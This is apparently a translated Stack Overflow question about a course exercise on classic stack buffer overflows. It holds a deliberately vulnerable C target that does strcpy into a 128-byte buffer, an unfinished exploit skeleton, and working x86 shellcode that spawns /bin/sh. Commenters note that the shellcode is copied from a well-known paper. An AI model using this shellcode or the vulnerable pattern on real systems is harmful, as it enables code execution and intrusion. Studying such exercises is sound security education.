我試圖找出這個問題,爲我的一個比賽科學類,我利用每一個資源,仍然有問題,如果有人可以提供一些見解,我會非常感激。故意緩衝區溢出漏洞利用程序
我有這個「目標」,我需要執行一個execve(「/ bin/sh」)緩衝區溢出攻擊。在buf [128]的溢出中,當執行不安全的命令strcpy時,返回到緩衝區的指針出現在系統期望找到返回地址的位置。
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
我明白我需要填寫的argv [1]超過128個字節,則128字節以上的字節是返回地址,應該指向緩衝區,以便執行內部的/ bin/sh。到目前爲止是否正確?有人可以提供下一步嗎?
非常感謝您的幫助。
堆棧溢出和緩衝區溢出是兩個完全不同的東西。 – BoltClock 2010-10-05 03:29:32
這是高度依賴於你的系統(編譯器,CPU等),你沒有打算指定任何。 – 2010-10-05 04:04:47
我忍不住注意到你的shell代碼是[在這裏]找到的一個精確副本(http://insecure.org/stf/smashstack.html)。您應該仔細閱讀本文,瞭解正在發生的事情,以便您可以實現自己的目標。在大學抄襲是嚴重的事情。 – Paul 2010-10-05 04:05:45